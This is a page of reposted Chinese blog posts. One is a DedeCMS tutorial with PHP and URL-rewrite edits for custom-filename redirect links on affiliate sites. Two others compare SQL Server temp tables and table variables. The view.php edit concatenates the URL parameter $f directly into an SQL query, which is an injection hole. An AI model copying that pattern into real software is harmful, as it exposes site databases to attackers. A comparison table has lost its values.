[转载]dedecms织梦跳转终极修改:使用自定义文件名,外链伪静态和新浪微博一样,适合做淘宝客、外链推广等网站 – kuphp – 博客园.

最近用dedecms做了好多站,在仿一个外国的索引一样的外链站时候,跳转需要优化一下,网上看了很多文章,都是用view-开头的,不够好,如果要用自定义文件名作为跳转地址,dedecms如果做呢。该站外观功能如图所示:

如上图,比较简单,列表页是/r/LMFTQM这样的跳转链接,没有详情页。

做好的站:cbankmall.com,外链也差不多,而且/r也去掉了。默认的跳转链接不是这样的,必须要改一下程序。

现在说一下终极修改方法,我用的是dede5.7utf8版的,其他版本可能要变通一下:

首先,要到系统–系统基本参数–核心设置里面把是否使用伪静态开启,这样[field:arcurl/]才会使用静态化的文章地址。

接着,打开include\helpers\channelunit.helper.php找到下面的if语句改成这样:

//作者:apple0280
      //qq:71780795
      //博客园:http://www.cnblogs.com/kuhp/
      //电子邮件:71780795@qq.com
    //动态文章
            if($cfg_rewrite == 'Y')
             {
     //return $GLOBALS["cfg_plus_dir"]."/view-".$aid.'-1.html';
     $dsql = new DedeSql(false); 
     $dsql->SetQuery("SELECT filename FROM #@__archives WHERE id=".$aid);
     $dsql->Execute();
     $co=0;
     $row=$dsql->GetOne();
     $filename=$row['filename'];
     $dsql->SetQuery("SELECT * FROM #@__archives WHERE flag='j' and filename='".$filename."'");
     $dsql->Execute();
     $row2=$dsql->GetTotalRow();
    if($filename&&$row2==1) return '/'.$filename;
    else return "/view-".$aid;
             }

来的地址是:/plus/view-1-1.html

现在解析成你在文章里设定的/LMFTQM,只要自定义文件名写上LMFTQM,如果跳转文章里的自定义文件名重复或者为空,则采用/view-1作为路径。

显示层就做好了,现在应用层:

我们要改一下根目录的伪静态文件,lunix的.htaccess我是这样的:

//作者:apple0280
      //qq:71780795
      //博客园:http://www.cnblogs.com/kuhp/
      //电子邮件:71780795@qq.com
 <IfModule mod_rewrite.c> 
 RewriteEngine On 
 RewriteCond %{http_host} ^cbankmall.com [NC] 
 RewriteRule ^(.*)$ http://www.cbankmall.com/$1 [L,R=301] 
 RewriteRule ^list-([0-9]+)\.html$ /plus/list.php?tid=$1 
 RewriteRule ^list-([0-9]+)-([0-9]+)-([0-9]+)\.html$ /plus/list.php?tid=$1&totalresult=$2&PageNo=$3 
 RewriteRule ^view-([0-9]+)-1\.html$ /plus/view.php?aid=$1
 RewriteRule ^view-([0-9]+)$ /plus/view.php?aid=$1
 RewriteRule ^([0-9a-zA-Z\-\_]+)$ /plus/view.php?f=$1
 RewriteRule ^view-([0-9]+)-([0-9]+)\.html$ /plus/view.php?aid=$1&pageno=$2 
 RewriteRule ^sitemap\.xml$ /sitemap.php 
 </IfModule>

如果是iis,httpd.ini可以这样写(暂未验证正确性):

[ISAPI_Rewrite]
 # 缓存3600秒 = 1 小时(hour)
 CacheClockRate 3600
 RepeatLimit 32
 #dedecms Rewrite规则
 #RewriteRule ^(.*)/index\.html $1/index\.php
 RewriteRule ^(.*)/list-([0-9]+)\.html $1/plus/list\.php\?tid=$2
 RewriteRule ^(.*)/list-([0-9]+)-([0-9]+)-([0-9]+)\.html $1/plus/list\.php\?tid=$2&TotalResult=$3&PageNo=$4
 RewriteRule ^(.*)/view-([0-9]+)-1\.html $1/plus/view\.php\?aid=$2
 RewriteRule ^(.*)/view-([0-9]+) $1/plus/view\.php\?aid=$2
 RewriteRule ^(.*)/([0-9a-zA-Z-_]+) $1/plus/view\.php\?aid=$2
 RewriteRule ^(.*)/view-([0-9]+)-([0-9]+)\.html $1/plus/view\.php\?aid=$2&pageno=$3
 RewriteRule ^(.*)/sitemap\.xml $1/sitemap\.php

这里注意,list那几行我的站没用到,因为列表的栏目我链接到默认页,没有使用动态页。

然后,我要用/plus/view.php解析。打开这个文件改一下:

在require_once(DEDEINC.’/arc.archives.class.php’);

后面加上以下几行代码:

//作者:apple0280
 //qq:71780795
 //博客园:http://www.cnblogs.com/kuhp/
 //电子邮件:71780795@qq.com
 if($f){
     $dsql = new DedeSql(false); 
     $dsql->SetQuery("SELECT id FROM #@__archives WHERE flag='j' and filename='".$f."'");
     $dsql->Execute();
     $row=$dsql->GetOne();
     if($row['id'])$aid = $arcID=$row['id'];
     }

这时候就可以看到http://www.yishile.com/LMFTQM这样的链接。

到此,大功告成了,有问题大家可以留言。

[转载]SQL 临时表和表变量

mikel阅读(901)

[转载]SQL 临时表和表变量 – yxbsmx – 博客园.

通常情况下,表变量中的数据比较少的时候,表变量是存在于内存中的。但当表变量保留的数据较多时,内存中容纳不下,那么它必须在磁盘上有一个位置来存储数据。与临时表类似,表变量是在 tempdb 数据库中创建的。如果有足够的内存,则表变量和临时表都在内存(数据缓存)中创建和处理。

说明:

1) CPU– 事件(SQL语句)使用的 CPU 时间(毫秒)。

2)  Reads–由服务器代表事件读取逻辑磁盘的次数。这些读取操作数包含在语句执行期间读取表和缓冲区的次数。

3) Writes–由服务器代表事件写入物理磁盘的次数。

 

 

 

 

示例1.变量表

1) 10000条记录

declare @t table
(
id nvarchar(50),
supno nvarchar(50),
eta datetime
)
insert  @t

select top 10000 ID,supno,eta from 表

 

–cpu :125    reads :13868    writes: 147

–表 ‘#286302EC’。扫描计数 0,逻辑读取 10129 次,物理读取 0 次,预读 0 次,lob 逻辑读取 0 次,lob 物理读取 0 次,lob 预读 0 次。

–表 ‘表’。扫描计数 1,逻辑读取 955 次,物理读取 0 次,预读 0 次,lob 逻辑读取 0 次,lob 物理读取 0 次,lob 预读 0 次。

declare @t table
(
id nvarchar(50),
supno nvarchar(50),
eta datetime
)
insert  @t

select top 1000 ID,supno,eta from 表

 

—    cpu:46    reads:2101     writes:    17
–表 ‘#44FF419A’。扫描计数 0,逻辑读取 1012 次,物理读取 0 次,预读 0 次,lob 逻辑读取 0 次,lob 物理读取 0 次,lob 预读 0 次。
–表 ‘表’。扫描计数 1,逻辑读取 108 次,物理读取 0 次,预读 0 次,lob 逻辑读取 0 次,lob 物理读取 0 次,lob 预读 0 次。

 

 

–示例2。临时表:

 

create table #t
(
id nvarchar(50),
supno nvarchar(50),
eta datetime
)
end
insert #t
select top 10000 ID,supno,eta
from 表

–cpu :125    reads:13883       writes:148
–表 ‘#t00000000005’。扫描计数 0,逻辑读取 10129 次,物理读取 0 次,预读 0 次,lob 逻辑读取 0 次,lob 物理读取 0 次,lob 预读 0 次。
–表 ‘表’。扫描计数 1,逻辑读取 955 次,物理读取 0 次,预读 0 次,lob 逻辑读取 0 次,lob 物理读取 0 次,lob 预读 0 次。

create table #t
(
id nvarchar(50),
supno nvarchar(50),
eta datetime
)

insert #t
select top 1000 ID,supno,eta
from 表

–cpu: 62    reads: 2095        writes: 17

–表 ‘#t00000000003’。扫描计数 0,逻辑读取 1012 次,物理读取 0 次,预读 0 次,lob 逻辑读取 0 次,lob 物理读取 0 次,lob 预读 0 次。
–表 ‘表’。扫描计数 1,逻辑读取 108 次,物理读取 0 次,预读 0 次,lob 逻辑读取 0 次,lob 物理读取 0 次,lob 预读 0 次。

 

 
–示例3。不创建临时表,直接插入到临时表

select top 10000 ID,supno,eta
into #t
from 表

–cpu:31    reads:1947        writes:83

–表 ‘表’。扫描计数 1,逻辑读取 955 次,物理读取 0 次,预读 0 次,lob 逻辑读取 0 次,lob 物理读取 0 次,lob 预读 0 次。

select top 1000 ID,supno,eta
into #t
from 表

–cpu: 0    reads: 997        writes:11

–表 ‘表’。扫描计数 1,逻辑读取 108 次,物理读取 0 次,预读 0 次,lob 逻辑读取 0 次,lob 物理读取 0 次,lob 预读 0 次。

从以上的分析中可以看出,如果使用3)方式,则会少建一个临时表.那么IO中的读写也将减少次数.

1)与2)都会有先建临时表的动作,并进行相应的IO读取操作.

SQL语句对服务器的cpu使用上来看,第三种情况cpu使用率也相对较低.

从物理写入磁盘操作来看,第三种情况的物理写入次数较少.

 

在什么情况下使用表变量来代替临时表:

取决于以下三个因素:

插入到表中的行数。本人认为最好是小于1000行,具体情况具体分析.
从中保存查询的重新编译的次数。
查询类型及其对性能的指数和统计信息的依赖性。

在某些情况下,可将一个具有临时表的存储过程拆分为多个较小的存储过程,以便在较小的单元上进行重新编译。

个人建议,当记录行小于1000行的情况下,应尽量使用表变量,除非数据量非常大(大于1000行)并且需要重复使用表。在这种情况下,可以在临时表上创建索引以提高查询性能。但是,各种方案可能互不相同。

Microsoft 建议您做一个测试,来验证表变量对于特定的查询或存储过程是否比临时表更有效。

[转载]SQL Server中的临时表和表变量

mikel阅读(984)

[转载]SQL Server中的临时表和表变量 – peter521 – 博客园.

SQL Server的性能调优中,有一个不可比拟的问题:那就是如何在一段需要长时间的代码或被频繁调用的代码中处理临时数据集?表变量和临时表是两种选择。记 得在给一家国内首屈一指的海运公司作SQL Server应用性能评估和调优的时候就看到过大量的临时数据集处理需求,而他们的开发人员就无法确定什么时候用临时表,什么时候用表变量,因此他们就简 单的使用了临时表。实际上临时表和表变量都有特定的适用环境。

先卖弄一些基础的知识:

表变量

变量都以@或@@为前缀,表变量是变量的一种,另外一种变量被称为标量(可以理解为标准变量,就是标准数据类型的变量,例如整型int或者日期 型DateTime)。以@前缀的表变量是本地的,因此只有在当前用户会话中才可以访问,而@@前缀的表变量是全局的,通常都是系统变量,比如说 @@error代表最近的一个T-SQL语句的报错号。当然因为表变量首先是个变量,因此它只能在一个Batch中生存,也就是我们所说的边界,超出了这 个边界,表变量也就消亡了。

表变量存放在内存中,正是因为这一点所有用户访问表变量的时候SQL Server是不需要生成日志。同时变量是不需要考虑其他会话访问的问题,因此也不需要锁机制,对于非常繁忙的系统来说,避免锁的使用可以减少一部分系统负载。

表变量另外还有一个限制就是不能创建索引,当然也不存在统计数据的问题,因此在用户访问表变量的时候也就不存在执行计划选择的问题了(也就是以为着编译阶段后就没有优化阶段了),这一特性有的时候是件好事,而有些时候却会造成一些麻烦。

临时表

临时对象都以#或##为前缀,临时表是临时对象的一种,还有例如临时存储过程、临时函数之类的临时对象,临时对象都存储在tempdb中。以# 前缀的临时表为本地的,因此只有在当前用户会话中才可以访问,而##前缀的临时表是全局的,因此所有用户会话都可以访问。临时表以会话为边界,只要创建临 时表的会话没有结束,临时表就会持续存在,当然用户在会话中可以通过DROP TABLE命令提前销毁临时表。

我们前面说过临时表存储在tempdb中,因此临时表的访问是有可能造成物理IO的,当然在修改时也需要生成日志来确保一致性,同时锁机制也是不可缺少的。

跟表变量另外一个显著去别就是临时表可以创建索引,也可以定义统计数据,因此SQL Server在处理访问临时表的语句时需要考虑执行计划优化的问题。

表变量 vs. 临时表

表变量 临时表
数据集的存储位置 内存(不考虑被换到页面文件这种情况) 磁盘(不考虑访问后被缓存到内存中)
是否需要日志
是否可以创建索引
是否可以使用统计数据
是否可以在多会话中访问
是否需要锁机制

结论

综上所述,大家会发现临时表和表变量在底层处理机制上是有很多差别的。

简单地总结,我们对于较小的临时计算用数据集推荐使用表变量。如果数据集比较大,如果在代码中用于临时计算,同时这种临时使用永远都是简单的全 数据集扫描而不需要考虑什么优化,比如说没有分组或分组很少的聚合(比如说COUNT、SUM、AVERAGE、MAX等),也可以考虑使用表变量。使用 表变量另外一个考虑因素是应用环境的内存压力,如果代码的运行实例很多,就要特别注意内存变量对内存的消耗。

一般对于大的数据集我们推荐使用临时表,同时创建索引,或者通过SQL Server的统计数据(Statisitcs)自动创建和维护功能来提供访问SQL语句的优化。如果需要在多个用户会话间交换数据,当然临时表就是唯一 的选择了。需要提及的是,由于临时表存放在tempdb中,因此要注意tempdb的调优。